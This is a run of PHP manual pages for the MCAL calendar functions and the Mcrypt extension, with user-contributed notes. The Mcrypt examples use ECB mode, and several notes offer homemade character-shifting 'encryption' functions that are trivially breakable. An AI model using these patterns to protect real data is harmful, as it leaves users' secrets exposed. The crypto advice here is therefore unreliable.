mcal_event_set_alarm

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_event_set_alarm -- Sets the alarm of the streams global event structure

Description

void mcal_event_set_alarm ( int stream, int alarm )

mcal_event_set_alarm() sets the streams global event structure's alarm to the given minutes before the event.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcal_event_init | 上一级 | mcal_event_set_category


mcal_event_set_category

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_event_set_category -- Sets the category of the streams global event structure

Description

void mcal_event_set_category ( int stream, string category )

mcal_event_set_category() sets the streams global event structure's category to the given string.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcal_event_set_alarm | 上一级 | mcal_event_set_class


mcal_event_set_class

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_event_set_class -- Sets the class of the streams global event structure

Description

void mcal_event_set_class ( int stream, int class )

mcal_event_set_class() sets the streams global event structure's class to the given value. The class is either 1 for public, or 0 for private.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcal_event_set_category | 上一级 | mcal_event_set_description


mcal_event_set_description

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_event_set_description -- Sets the description of the streams global event structure

Description

void mcal_event_set_description ( int stream, string description )

mcal_event_set_description() sets the streams global event structure's description to the given string.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcal_event_set_class | 上一级 | mcal_event_set_end


mcal_event_set_end

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_event_set_end -- Sets the end date and time of the streams global event structure

Description

void mcal_event_set_end ( int stream, int year, int month, int day [, int hour [, int min [, int sec]]] )

mcal_event_set_end() sets the streams global event structure's end date and time to the given values.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcal_event_set_description | 上一级 | mcal_event_set_recur_daily


mcal_event_set_recur_daily

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_event_set_recur_daily -- Sets the recurrence of the streams global event structure

Description

void mcal_event_set_recur_daily ( int stream, int year, int month, int day, int interval )

mcal_event_set_recur_daily() sets the streams global event structure's recurrence to the given value to be reoccurring on a daily basis, ending at the given date.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcal_event_set_end | 上一级 | mcal_event_set_recur_monthly_mday


mcal_event_set_recur_monthly_mday

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_event_set_recur_monthly_mday -- Sets the recurrence of the streams global event structure

Description

void mcal_event_set_recur_monthly_mday ( int stream, int year, int month, int day, int interval )

mcal_event_set_recur_monthly_mday() sets the streams global event structure's recurrence to the given value to be reoccurring on a monthly by month day basis, ending at the given date.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcal_event_set_recur_daily | 上一级 | mcal_event_set_recur_monthly_wday


mcal_event_set_recur_monthly_wday

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_event_set_recur_monthly_wday -- Sets the recurrence of the streams global event structure

Description

void mcal_event_set_recur_monthly_wday ( int stream, int year, int month, int day, int interval )

mcal_event_set_recur_monthly_wday() sets the streams global event structure's recurrence to the given value to be reoccurring on a monthly by week basis, ending at the given date.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcal_event_set_recur_monthly_mday | 上一级 | mcal_event_set_recur_none


mcal_event_set_recur_none

(PHP 3 >= 3.0.15, PHP 4, PECL)

mcal_event_set_recur_none -- Sets the recurrence of the streams global event structure

Description

void mcal_event_set_recur_none ( int stream )

mcal_event_set_recur_none() sets the streams global event structure to not recur (event->recur_type is set to MCAL_RECUR_NONE).

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcal_event_set_recur_monthly_wday | 上一级 | mcal_event_set_recur_weekly


mcal_event_set_recur_weekly

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_event_set_recur_weekly -- Sets the recurrence of the streams global event structure

Description

void mcal_event_set_recur_weekly ( int stream, int year, int month, int day, int interval, int weekdays )

mcal_event_set_recur_weekly() sets the streams global event structure's recurrence to the given value to be reoccurring on a weekly basis, ending at the given date.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcal_event_set_recur_none | 上一级 | mcal_event_set_recur_yearly


mcal_event_set_recur_yearly

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_event_set_recur_yearly -- Sets the recurrence of the streams global event structure

Description

void mcal_event_set_recur_yearly ( int stream, int year, int month, int day, int interval )

mcal_event_set_recur_yearly() sets the streams global event structure's recurrence to the given value to be reoccurring on a yearly basis,ending at the given date.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcal_event_set_recur_weekly | 上一级 | mcal_event_set_start


mcal_event_set_start

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_event_set_start -- Sets the start date and time of the streams global event structure

Description

void mcal_event_set_start ( int stream, int year, int month, int day [, int hour [, int min [, int sec]]] )

mcal_event_set_start() sets the streams global event structure's start date and time to the given values.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcal_event_set_recur_yearly | 上一级 | mcal_event_set_title


mcal_event_set_title

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_event_set_title -- Sets the title of the streams global event structure

Description

void mcal_event_set_title ( int stream, string title )

mcal_event_set_title() sets the streams global event structure's title to the given string.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcal_event_set_start | 上一级 | mcal_expunge


mcal_expunge

(no version information, might be only in CVS)

mcal_expunge -- Deletes all events marked for being expunged

Description

bool mcal_expunge ( int stream )

mcal_expunge() deletes all events which have been previously marked for deletion.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcal_event_set_title | 上一级 | mcal_fetch_current_stream_event


mcal_fetch_current_stream_event

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_fetch_current_stream_event -- Returns an object containing the current streams event structure

Description

object mcal_fetch_current_stream_event ( int stream )

mcal_fetch_current_stream_event() returns the current stream's event structure as an object containing:

  • int id - ID of that event.

  • int public - TRUE if the event if public, FALSE if it is private.

  • string category - Category string of the event.

  • string title - Title string of the event.

  • string description - Description string of the event.

  • int alarm - number of minutes before the event to send an alarm/reminder.

  • object start - Object containing a datetime entry.

  • object end - Object containing a datetime entry.

  • int recur_type - recurrence type

  • int recur_interval - recurrence interval

  • datetime recur_enddate - recurrence end date

  • int recur_data - recurrence data

All datetime entries consist of an object that contains:

  • int year - year

  • int month - month

  • int mday - day of month

  • int hour - hour

  • int min - minutes

  • int sec - seconds

  • int alarm - minutes before event to send an alarm

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcal_expunge | 上一级 | mcal_fetch_event


mcal_fetch_event

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_fetch_event -- Fetches an event from the calendar stream

Description

object mcal_fetch_event ( int mcal_stream, int event_id [, int options] )

mcal_fetch_event() fetches an event from the calendar stream specified by id.

Returns an event object consisting of:

  • int id - ID of that event.

  • int public - TRUE if the event if public, FALSE if it is private.

  • string category - Category string of the event.

  • string title - Title string of the event.

  • string description - Description string of the event.

  • int alarm - number of minutes before the event to send an alarm/reminder.

  • object start - Object containing a datetime entry.

  • object end - Object containing a datetime entry.

  • int recur_type - recurrence type

  • int recur_interval - recurrence interval

  • datetime recur_enddate - recurrence end date

  • int recur_data - recurrence data

All datetime entries consist of an object that contains:

  • int year - year

  • int month - month

  • int mday - day of month

  • int hour - hour

  • int min - minutes

  • int sec - seconds

  • int alarm - minutes before event to send an alarm

The possible values for recur_type are:

  • 0 - Indicates that this event does not recur

  • 1 - This event recurs daily

  • 2 - This event recurs on a weekly basis

  • 3 - This event recurs monthly on a specific day of the month (e.g. the 10th of the month)

  • 4 - This event recurs monthly on a sequenced day of the week (e.g. the 3rd Saturday)

  • 5 - This event recurs on an annual basis

add a note add a note User Contributed Notes
cmoyer at chekinc dot com
16-May-2000 04:20
Contrary to what the manual says, the End Date for recurance is not

datetime recur_endate,
it's object recur_enddate
add a note add a note

后退 | 起点 | 前进
mcal_fetch_current_stream_event | 上一级 | mcal_is_leap_year


mcal_is_leap_year

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_is_leap_year -- Returns if the given year is a leap year or not

Description

bool mcal_is_leap_year ( int year )

mcal_is_leap_year() returns 1 if the given year is a leap year, 0 if not.

add a note add a note User Contributed Notes
wixson at umr dot edu
04-Jun-2003 03:35
Leap Year Check

// pass a 4digit year
// works for me 1969-2037, will need fix out of that range

// The Gregorian Leap Year Rule
function Gr_IsLeapYr ($yr) {
$isleap=0;
if ($yr % 4 == 0) {
// Years evenly divisible by 4 are leap years.
   $isleap=1;
// Exception: Centurial years that are not evenly divisible by 400.
   if ( $yr % 100 == 0 && $yr % 400 != 0) {
       // not a leap year
       $isleap=0;
   }
}
return $isleap;
} // end Gr_IsLeapYear
add a note add a note

后退 | 起点 | 前进
mcal_fetch_event | 上一级 | mcal_list_alarms


mcal_list_alarms

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_list_alarms -- Return a list of events that has an alarm triggered at the given datetime

Description

array mcal_list_alarms ( int mcal_stream [, int begin_year, int begin_month, int begin_day, int end_year, int end_month, int end_day] )

Returns an array of event ID's that has an alarm going off between the start and end dates, or if just a stream is given, uses the start and end dates in the global event structure.

mcal_list_events() function takes in an optional beginning date and an end date for a calendar stream. An array of event id's that are between the given dates or the internal event dates are returned.

add a note add a note User Contributed Notes
anonimo at example dot com
22-Jun-2004 03:35
The use of function alarm

mcal_list_alarms($MCALconnection, $year, $month,
                           $day, $hour, $min, $sec);
add a note add a note

后退 | 起点 | 前进
mcal_is_leap_year | 上一级 | mcal_list_events


mcal_list_events

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_list_events -- Return a list of IDs for a date or a range of dates

Description

array mcal_list_events ( int mcal_stream [, int begin_year, int begin_month, int begin_day, int end_year, int end_month, int end_day] )

Returns an array of ID's that are between the start and end dates, or if just a stream is given, uses the start and end dates in the global event structure.

mcal_list_events() takes in an beginning date and an optional end date for a calendar stream. An array of event id's that are between the given dates or the internal event dates are returned.

add a note add a note User Contributed Notes
mikep at oeone dot com
17-Aug-2001 01:15
That last $EndYear should be $EndDay.
mikep at oeone dot com
09-Dec-2000 05:53
The documentation here is out of date. You do not pass an object, but rather you pass it the following:
(stream, startYear, startMonth, startDay, endYear, endMonth, endYear)
cmoyer at chekinc dot com
03-Aug-2000 08:04
I was under the impression that only start dates were specified with MCAL.  So any event starts and ends on the same date.
add a note add a note

后退 | 起点 | 前进
mcal_list_alarms | 上一级 | mcal_next_recurrence


mcal_next_recurrence

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_next_recurrence -- Returns the next recurrence of the event

Description

object mcal_next_recurrence ( int stream, int weekstart, array next )

mcal_next_recurrence() returns an object filled with the next date the event occurs, on or after the supplied date. Returns empty date field if event does not occur or something is invalid. Uses weekstart to determine what day is considered the beginning of the week.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcal_list_events | 上一级 | mcal_open


mcal_open

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_open -- Opens up an MCAL connection

Description

int mcal_open ( string calendar, string username, string password [, int options] )

Returns an MCAL stream on success, FALSE on error.

mcal_open() opens up an MCAL connection to the specified calendar store. If the optional options is specified, passes the options to that mailbox also. The streams internal event structure is also initialized upon connection.

add a note add a note User Contributed Notes
cdthompso1 at yahoo dot com
04-Dec-2000 07:53
If you get stream connection failures, go back to the libmcal src directory and run 'make install.'  On RH6, that builds /usr/local/mcal and drops all the necessary libs.  This step wasn't in the mcal HOW-TO (03-12-2000).
add a note add a note

后退 | 起点 | 前进
mcal_next_recurrence | 上一级 | mcal_popen


mcal_popen

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_popen -- Opens up a persistent MCAL connection

Description

int mcal_popen ( string calendar, string username, string password [, int options] )

Returns an MCAL stream on success, FALSE on error.

mcal_popen() opens up an MCAL connection to the specified calendar store. If the optional options is specified, passes the options to that mailbox also. The streams internal event structure is also initialized upon connection.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcal_open | 上一级 | mcal_rename_calendar


mcal_rename_calendar

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_rename_calendar -- Rename an MCAL calendar

Description

bool mcal_rename_calendar ( int stream, string old_name, string new_name )

Renames the calendar old_name to new_name.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcal_popen | 上一级 | mcal_reopen


mcal_reopen

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_reopen -- Reopens an MCAL connection

Description

bool mcal_reopen ( int mcal_stream, string calendar [, int options] )

Reopens an MCAL stream to a new calendar.

mcal_reopen() reopens an MCAL connection to the specified calendar store. If the optional options is specified, passes the options to that mailbox also.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcal_rename_calendar | 上一级 | mcal_snooze


mcal_snooze

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_snooze -- Turn off an alarm for an event

Description

bool mcal_snooze ( int stream_id, int event_id )

mcal_snooze() turns off an alarm for a calendar event specified by the stream_id and event_id.

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcal_reopen | 上一级 | mcal_store_event


mcal_store_event

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_store_event -- Modify an existing event in an MCAL calendar

Description

int mcal_store_event ( int mcal_stream )

mcal_store_event() stores the modifications to the current global event for the given stream.

Returns the event id of the modified event on success and FALSE on error.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcal_snooze | 上一级 | mcal_time_valid


mcal_time_valid

(PHP 3 >= 3.0.13, PHP 4, PECL)

mcal_time_valid -- Returns TRUE if the given hour, minutes and seconds is a valid time

Description

bool mcal_time_valid ( int hour, int minutes, int seconds )

mcal_time_valid() Returns TRUE if the given hour, minutes and seconds is a valid time, FALSE if not.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcal_store_event | 上一级 | mcal_week_of_year


mcal_week_of_year

(PHP 4, PECL)

mcal_week_of_year -- Returns the week number of the given date

Description

int mcal_week_of_year ( int day, int month, int year )

mcal_week_of_year() returns the week number of the given date.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcal_time_valid | 上一级 | Mcrypt Encryption Functions


Mcrypt Encryption Functions

PHP 手册
后退 前进

LXX. Mcrypt Encryption Functions

简介

This is an interface to the mcrypt library, which supports a wide variety of block algorithms such as DES, TripleDES, Blowfish (default), 3-WAY, SAFER-SK64, SAFER-SK128, TWOFISH, TEA, RC2 and GOST in CBC, OFB, CFB and ECB cipher modes. Additionally, it supports RC6 and IDEA which are considered "non-free".

需求

These functions work using mcrypt. To use it, download libmcrypt-x.x.tar.gz from http://mcrypt.sourceforge.net/ and follow the included installation instructions. Windows users will find all the needed compiled mcrypt binaries at http://ftp.emini.dk/pub/php/win32/mcrypt/.

As of PHP 5.0.0 you will need libmcrypt Version 2.5.6 or greater.

If you linked against libmcrypt 2.4.x or higher, the following additional block algorithms are supported: CAST, LOKI97, RIJNDAEL, SAFERPLUS, SERPENT and the following stream ciphers: ENIGMA (crypt), PANAMA, RC4 and WAKE. With libmcrypt 2.4.x or higher another cipher mode is also available; nOFB.

安装

You need to compile PHP with the --with-mcrypt[=DIR] parameter to enable this extension. DIR is the mcrypt install directory. Make sure you compile libmcrypt with the option --disable-posix-threads.

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. Mcrypt configuration options

Name | Default | Changeable | Changelog
mcrypt.algorithms_dir | NULL | PHP_INI_ALL | Available since PHP 4.0.2.
mcrypt.modes_dir | NULL | PHP_INI_ALL | Available since PHP 4.0.2.
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

Mcrypt can operate in four block cipher modes (CBC, OFB, CFB, and ECB). If linked against libmcrypt-2.4.x or higher the functions can also operate in the block cipher mode nOFB and in STREAM mode. Below you find a list with all supported encryption modes together with the constants that are defines for the encryption mode. For a more complete reference and discussion see Applied Cryptography by Schneier (ISBN 0-471-11709-9).

  • MCRYPT_MODE_ECB (electronic codebook) is suitable for random data, such as encrypting other keys. Since data there is short and random, the disadvantages of ECB have a favorable negative effect.

  • MCRYPT_MODE_CBC (cipher block chaining) is especially suitable for encrypting files where the security is increased over ECB significantly.

  • MCRYPT_MODE_CFB (cipher feedback) is the best mode for encrypting byte streams where single bytes must be encrypted.

  • MCRYPT_MODE_OFB (output feedback, in 8bit) is comparable to CFB, but can be used in applications where error propagation cannot be tolerated. It's insecure (because it operates in 8bit mode) so it is not recommended to use it.

  • MCRYPT_MODE_NOFB (output feedback, in nbit) is comparable to OFB, but more secure because it operates on the block size of the algorithm.

  • MCRYPT_MODE_STREAM is an extra mode to include some stream algorithms like WAKE or RC4.

Some other mode and random device constants:

MCRYPT_ENCRYPT (integer)

MCRYPT_DECRYPT (integer)

MCRYPT_DEV_RANDOM (integer)

MCRYPT_DEV_URANDOM (integer)

MCRYPT_RAND (integer)

Mcrypt ciphers

Here is a list of ciphers which are currently supported by the mcrypt extension. For a complete list of supported ciphers, see the defines at the end of mcrypt.h. The general rule with the mcrypt-2.2.x API is that you can access the cipher from PHP with MCRYPT_ciphername. With the libmcrypt-2.4.x and libmcrypt-2.5.x API these constants also work, but it is possible to specify the name of the cipher as a string with a call to mcrypt_module_open().

  • MCRYPT_3DES

  • MCRYPT_ARCFOUR_IV (libmcrypt > 2.4.x only)

  • MCRYPT_ARCFOUR (libmcrypt > 2.4.x only)

  • MCRYPT_BLOWFISH

  • MCRYPT_CAST_128

  • MCRYPT_CAST_256

  • MCRYPT_CRYPT

  • MCRYPT_DES

  • MCRYPT_DES_COMPAT (libmcrypt 2.2.x only)

  • MCRYPT_ENIGMA (libmcrypt > 2.4.x only, alias for MCRYPT_CRYPT)

  • MCRYPT_GOST

  • MCRYPT_IDEA (non-free)

  • MCRYPT_LOKI97 (libmcrypt > 2.4.x only)

  • MCRYPT_MARS (libmcrypt > 2.4.x only, non-free)

  • MCRYPT_PANAMA (libmcrypt > 2.4.x only)

  • MCRYPT_RIJNDAEL_128 (libmcrypt > 2.4.x only)

  • MCRYPT_RIJNDAEL_192 (libmcrypt > 2.4.x only)

  • MCRYPT_RIJNDAEL_256 (libmcrypt > 2.4.x only)

  • MCRYPT_RC2

  • MCRYPT_RC4 (libmcrypt 2.2.x only)

  • MCRYPT_RC6 (libmcrypt > 2.4.x only)

  • MCRYPT_RC6_128 (libmcrypt 2.2.x only)

  • MCRYPT_RC6_192 (libmcrypt 2.2.x only)

  • MCRYPT_RC6_256 (libmcrypt 2.2.x only)

  • MCRYPT_SAFER64

  • MCRYPT_SAFER128

  • MCRYPT_SAFERPLUS (libmcrypt > 2.4.x only)

  • MCRYPT_SERPENT(libmcrypt > 2.4.x only)

  • MCRYPT_SERPENT_128 (libmcrypt 2.2.x only)

  • MCRYPT_SERPENT_192 (libmcrypt 2.2.x only)

  • MCRYPT_SERPENT_256 (libmcrypt 2.2.x only)

  • MCRYPT_SKIPJACK (libmcrypt > 2.4.x only)

  • MCRYPT_TEAN (libmcrypt 2.2.x only)

  • MCRYPT_THREEWAY

  • MCRYPT_TRIPLEDES (libmcrypt > 2.4.x only)

  • MCRYPT_TWOFISH (for older mcrypt 2.x versions, or mcrypt > 2.4.x )

  • MCRYPT_TWOFISH128 (TWOFISHxxx are available in newer 2.x versions, but not in the 2.4.x versions)

  • MCRYPT_TWOFISH192

  • MCRYPT_TWOFISH256

  • MCRYPT_WAKE (libmcrypt > 2.4.x only)

  • MCRYPT_XTEA (libmcrypt > 2.4.x only)

You must (in CFB and OFB mode) or can (in CBC mode) supply an initialization vector (IV) to the respective cipher function. The IV must be unique and must be the same when decrypting/encrypting. With data which is stored encrypted, you can take the output of a function of the index under which the data is stored (e.g. the MD5 key of the filename). Alternatively, you can transmit the IV together with the encrypted data (see chapter 9.3 of Applied Cryptography by Schneier (ISBN 0-471-11709-9) for a discussion of this topic).

范例

Mcrypt can be used to encrypt and decrypt using the above mentioned ciphers. If you linked against libmcrypt-2.2.x, the four important mcrypt commands (mcrypt_cfb(), mcrypt_cbc(), mcrypt_ecb(), and mcrypt_ofb()) can operate in both modes which are named MCRYPT_ENCRYPT and MCRYPT_DECRYPT, respectively.

例子 1. Encrypt an input value with TripleDES under 2.2.x in ECB mode

<?php
$key = "this is a secret key";
$input = "Let us meet at 9 o'clock at the secret place.";

$encrypted_data = mcrypt_ecb (MCRYPT_3DES, $key, $input, MCRYPT_ENCRYPT);
?>
This example will give you the encrypted data as a string in $encrypted_data.

If you linked against libmcrypt 2.4.x or 2.5.x, these functions are still available, but it is recommended that you use the advanced functions.

例子 2. Encrypt an input value with TripleDES under 2.4.x and higher in ECB mode

<?php
    $key = "this is a secret key";
    $input = "Let us meet at 9 o'clock at the secret place.";

    $td = mcrypt_module_open('tripledes', '', 'ecb', '');
    $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
    mcrypt_generic_init($td, $key, $iv);
    $encrypted_data = mcrypt_generic($td, $input);
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);
?>
This example will give you the encrypted data as a string in $encrypted_data. For a full example see mcrypt_module_open().

目录
mcrypt_cbc -- Encrypt/decrypt data in CBC mode
mcrypt_cfb -- Encrypt/decrypt data in CFB mode
mcrypt_create_iv -- Create an initialization vector (IV) from a random source
mcrypt_decrypt -- Decrypts crypttext with given parameters
mcrypt_ecb -- Deprecated: Encrypt/decrypt data in ECB mode
mcrypt_enc_get_algorithms_name -- Returns the name of the opened algorithm
mcrypt_enc_get_block_size -- Returns the blocksize of the opened algorithm
mcrypt_enc_get_iv_size -- Returns the size of the IV of the opened algorithm
mcrypt_enc_get_key_size -- Returns the maximum supported keysize of the opened mode
mcrypt_enc_get_modes_name -- Returns the name of the opened mode
mcrypt_enc_get_supported_key_sizes -- Returns an array with the supported keysizes of the opened algorithm
mcrypt_enc_is_block_algorithm_mode -- Checks whether the encryption of the opened mode works on blocks
mcrypt_enc_is_block_algorithm -- Checks whether the algorithm of the opened mode is a block algorithm
mcrypt_enc_is_block_mode -- Checks whether the opened mode outputs blocks
mcrypt_enc_self_test -- This function runs a self test on the opened module
mcrypt_encrypt -- Encrypts plaintext with given parameters
mcrypt_generic_deinit -- This function deinitializes an encryption module
mcrypt_generic_end -- This function terminates encryption
mcrypt_generic_init -- This function initializes all buffers needed for encryption
mcrypt_generic -- This function encrypts data
mcrypt_get_block_size -- Get the block size of the specified cipher
mcrypt_get_cipher_name -- Get the name of the specified cipher
mcrypt_get_iv_size -- Returns the size of the IV belonging to a specific cipher/mode combination
mcrypt_get_key_size -- Get the key size of the specified cipher
mcrypt_list_algorithms -- Get an array of all supported ciphers
mcrypt_list_modes -- Get an array of all supported modes
mcrypt_module_close -- Close the mcrypt module
mcrypt_module_get_algo_block_size -- Returns the blocksize of the specified algorithm
mcrypt_module_get_algo_key_size -- Returns the maximum supported keysize of the opened mode
mcrypt_module_get_supported_key_sizes -- Returns an array with the supported keysizes of the opened algorithm
mcrypt_module_is_block_algorithm_mode -- Returns if the specified module is a block algorithm or not
mcrypt_module_is_block_algorithm -- This function checks whether the specified algorithm is a block algorithm
mcrypt_module_is_block_mode -- Returns if the specified mode outputs blocks or not
mcrypt_module_open -- Opens the module of the algorithm and the mode to be used
mcrypt_module_self_test -- This function runs a self test on the specified module
mcrypt_ofb -- Encrypt/decrypt data in OFB mode
mdecrypt_generic -- Decrypt data

add a note add a note User Contributed Notes
rolf at winmutt dot com
11-Mar-2006 04:19
mysql AES_ENCRYPT() compatibly function for PHP :

function mysql_aes_encrypt($val,$ky) {
   $mode=MCRYPT_MODE_ECB;
   $enc=MCRYPT_RIJNDAEL_128;
   $val=str_pad($val, (16*(floor(strlen($val) / 16)+(strlen($val) % 16==0?2:1))), chr(16-(strlen($val) % 16)));
   return mcrypt_encrypt($enc, $ky, $val, $mode, mcrypt_create_iv( mcrypt_get_iv_size($enc, $mode), MCRYPT_DEV_URANDOM));
}

Please note that if the strlen($ky)>16 then this function will not be compatible.
vincent at verbrugh dot nl
02-Mar-2006 05:55
If you plan to use Mcrypt Encryption to store encrypted data (e.g. passwords) in a (MySQL) database make sure to set the column to BLOB rather than VARCHAR. Otherwise the data may change which can give unexpected results if you decrypt the value.
Jerry Hathaway
17-Feb-2006 02:23
After benchmarking AES in 256-bit operation, I've concluded that CBC is far faster than OFB.  Using a 14.9 MiB file, on average...

Encrypt in CBC:  1.9 seconds
Encrypt in OFB:  45.7 seconds (same as CFB)
Just reading the file:  ~.53 seconds

After some research, I've concluded that OFB and CFB are slightly more secure than CBC, however I believe the performance difference to be due to an implementation issue.

As a side note on ECB:  As stated in the wiki linked to below, ECB is wholly inadequate.  It not use an IV (whether it was supplied ot MCrypt or not), meaning the same key and plaintext always produce the same ciphertext and it doesn't hide patterns.  The site shows an excellent example of this.

Very useful info:
http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
triptripon at gmail dot com
05-Feb-2006 07:28
Regarding storing the result on a postgres DB that uses Unicode (follow up to a post below).
You don't need to change the DB's encoding to ASCII.
Simply use BASE64 to encode the result, it's perfectly safe.
use base64_decode before you decrypt.
-- Tomer Levinboim
jevon at jevon dot org
09-Nov-2005 06:23
To get encryption/decryption working between Delphi and PHP, we used the code available on http://www.cityinthesky.co.uk/cryptography.html . Very helpful.
coz AT metamule D0T com
04-Nov-2005 09:15
If you're going to encrypt data with something like this and store it in postgres.

function encrypt($string, $key){
       $result = '';
       for($i=1; $i<=strlen($string); $i++){
           $char = substr($string, $i-1, 1);
           $keychar = substr($key, ($i % strlen($key))-1, 1);
           $char = chr(ord($char)+ord($keychar));
           $result.=$char;
       }
       return $result;
   }

Make sure when you create your database to set the encoding to SQL_ASCII because you won't be able to store this data in a database that uses UNICODE
joseph-at-digiweb-dot-net-dot-nz
31-Oct-2005 09:22
A further note for those doing interop between PHP and Java:

If you're using the BouncyCastle library on the Java side, then you can use the ZeroBytePadding mode now available in it. Mcrypt pads the data with Nulls rather than spaces....

I've sucessfully done interop using Blowfish/CBC/ZeroBytePadding between PHP and Java this way.
amiller of connext point net
27-Oct-2005 01:55
As regards the whole one-time-pad discussion below, I would also add that any one-time pad scheme which involves the key passing through a computer in any fashion is blown from the very beginning. At best, you have to rely on a less-secure cipher for key transmission; at (far-from-uncommon) worst, your key has been written in the clear to some sectors of the disk (for example, by being swapped out of memory), and awaits only someone with a sector-scanning tool to reveal it.

If you're thinking about Internet security, considering a one-time pad at all, unless you're planning to use one to protect another cipher system's keys for transmission (and probably even then!), is a waste of your time.
torcuato
16-Sep-2005 05:28
There seems to be an error on the list of ciphers supported by the mcrypt extension.

MCRYPT_3DES should be MCRYPT_TRIPLEDES
paul dot lewis at absolutegenius dot co dot uk
13-Jul-2005 11:33
I've spent the majority of the day attempting to get mcrypt to work under IIS6 with Windows Server 2003 (Web Edition) and PHP 5.0.4

There seems to be some incompatability with enabling certain extensions (mcrypt being one) when you are running PHP as ISAPI in this environment.

The way to solve the problem (the error will be that it cannot load php_mcrypt.dll - access is denied) is to run in CGI. While this isn't supposed to be as good performance wise, if you need the mcrypt support (or Oracle support, too, I believe) then this is the only way I've found to do it.
rg at rg dot mejoramos dot com
24-Jun-2005 06:59
Master [thilo-at-hardtware.de], (First Post)

Much thanks by you script.

Now i happy. :-)

Maybe - lines:

<?php
   function you($string,$key,$a){
   if(empty($a))$string=base64_decode($string);
   $salida='';
   for($i=0;$i<strlen($string);$i++){
   $char=substr($string,$i,1);
   $keychar=substr($key,($i%strlen($key))-1,1);
   if($a)$char=chr(ord($char)+ord($keychar));
   else $char=chr(ord($char)-ord($keychar));
   $salida.=$char;
   }if($a)$salida=base64_encode($salida);
   return $salida;}

     $a='thilo-at-hardtware.de';
   echo you($a,'xs:a/55p;',1);
   $b='r+DcptBclqmdo9nlntWmlqfVadzY';
   echo '<hr>';
   echo you($b,'xs:a/55p;',0);
exit;
?>Thanks newly.

Regards from CO
MGTech
21-May-2005 03:02
Please, mind that a XOR Encryption can't compete with a block cipher like AES or IDEA, but if you really want to use a stream cipher the more secure RC4 is the right alternative.
A XOR Encryption is only a bit useful if you encrypt data for private use, otherwise it is a frankly a security risk.
thilo-at-hardtware.de
29-Apr-2005 03:37
I have modified the xor-encryption of Anonymous. It is now returning and eating base64-encoded strings. That's much better for saving and transporting (e.g. saving in a database) the encrypted string.

<?php
  function encrypt($string, $key) {
   $result = '';
   for($i=0; $i<strlen($string); $i++) {
     $char = substr($string, $i, 1);
     $keychar = substr($key, ($i % strlen($key))-1, 1);
     $char = chr(ord($char)+ord($keychar));
     $result.=$char;
   }

   return base64_encode($result);
  }

  function decrypt($string, $key) {
   $result = '';
   $string = base64_decode($string);

   for($i=0; $i<strlen($string); $i++) {
     $char = substr($string, $i, 1);
     $keychar = substr($key, ($i % strlen($key))-1, 1);
     $char = chr(ord($char)-ord($keychar));
     $result.=$char;
   }

   return $result;
  }

?>
IRLCoder
24-Mar-2005 06:13
Re: Just a followup note about mcrypt<-->java interop (have a php app encrypting a string and a java app decrypting it - and vice-versa!)

